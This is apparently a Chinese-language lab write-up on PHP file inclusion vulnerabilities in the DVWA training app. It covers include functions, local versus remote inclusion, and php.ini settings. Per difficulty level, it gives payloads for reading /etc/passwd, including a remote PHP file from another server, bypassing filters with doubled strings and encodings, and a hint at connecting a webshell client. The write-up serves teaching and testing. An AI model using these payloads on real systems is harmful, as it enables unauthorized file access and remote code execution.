Vulnerability: File Inclusion

相关函数

include()函数:会将指定的文件读入并且执行里面的程序;
require()函数:会将文件的内容读入,并且把自己本身替换成这些读入的内容;
include_once()函数:和 include 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次
require_once()函数:和 require 语句完全相同,唯一区别是如果该文件中已经被包含过,则不会再次包含。如同此语句名字暗示的那样,只会包含一次

文件包含功能

文件包含功能使用include函数将web根目录以外的目录文件包含进来,文件包含功能给开发人员带来了便利。通过把常用的功能归类成文件,文件包含可以提高代码重用率。
文件包含漏洞是高危漏洞,往往会导致任意文件读取和任意命令执行,造成严重的安全后果。
文件包含往往要使用到目录遍历工具

相关知识

1.文件包含分类:

目录遍历(Directory traversal)和文件包含(File include)的一些区别:
目录遍历是:可以读取web根目录以外的其他目录,根源在于web application的路径访问权限设置不严,针对的是本系统。
文件包含是:通过include函数将web根目录以外的目录的文件被包含进来,分为LFI本地文件包含和RFI远程文件包含
LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)

2.php.ini配置

allow_url_fopen = on (默认开启)
allow_url_include = on (默认关闭)
远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。

文件包含漏洞的一般特征

1
2
3
?page=a.PHP
?home=a.html
?file=content

文件包含的测试

  1. 通过多个…/让目录返回上一级,然后再进入目标目录
1
2
3
4
5
?file=../../../../../etc/passwdd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/../../../../dir/file.txt
  1. 编码字符绕过过滤
1
2
3
1. 可以使用多种编码方式进行绕过
2. %00嵌入任意位置
3. .的利用

3.向量词典

1
2
3
4
用于目录爆破猜测,在Kali的/usr/share/wfuzz/wordlist/vulns中保存有,如:
general:目录猜解
Injections:注入
Stress:压力测试
  • 服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以 文件包含漏洞常常会导致任意文件读取与任意命令执行。

low

构造相对路径URL:

1
?page=../../../phpinfo.php

也可以通过构造绝对路径URL访问:

1
?page=D:\phpStudy\PHPTutorial\WWW\phpinfo.php

构造访问远程文件的URL(其中192.168.15.241为另一台服务器),这里还可以通过远程执行文件后,用菜刀进行连接

1
?page=http://192.168.15.241/phpinfo.php

Medium

  • 包含出错,尝试使用各种相对路径“…/”、”./“等访问均报错,实际上,该级别漏洞使用str_replace()函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符。

one:本地包含:尝试用绝对路径,避免先对路径符号被过滤

1
构造URL:?page=D:\phpStudy\PHPTutorial\WWW\phpinfo.php

two:远程包含:既然过滤了http://和https://,尝试使用双写的方式

1
构造URL:?page=hthttp://tp://192.168.15.241/phpinfo.php

three:本地包含,相对路径技巧,既然过滤了“…/”,那就双写“…/”

1
构造URL:?page=.....//....//....//phpinfo.php

High

one:本地包含:相对路径

1
构造URL:?page=file:/../../../phpinfo.php

two:本地包含:绝对路径

1
构造URL:?page=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.php

three:远程包含:远程包含必须使用http://协议或者https://协议,而高级模式使用白名单过滤仅允许file协议通过,而file协议针对本地文件有效,所以目前来看,是无法进行远程攻击的,不过别急,道高一尺、魔高一丈,我们结合后续的文件上传仍然可以实现远程攻击。

Impossible

  • impossible级别设置严格的白名单过滤,仅允许include.php通过,基本上可以杜绝文件包含的漏洞。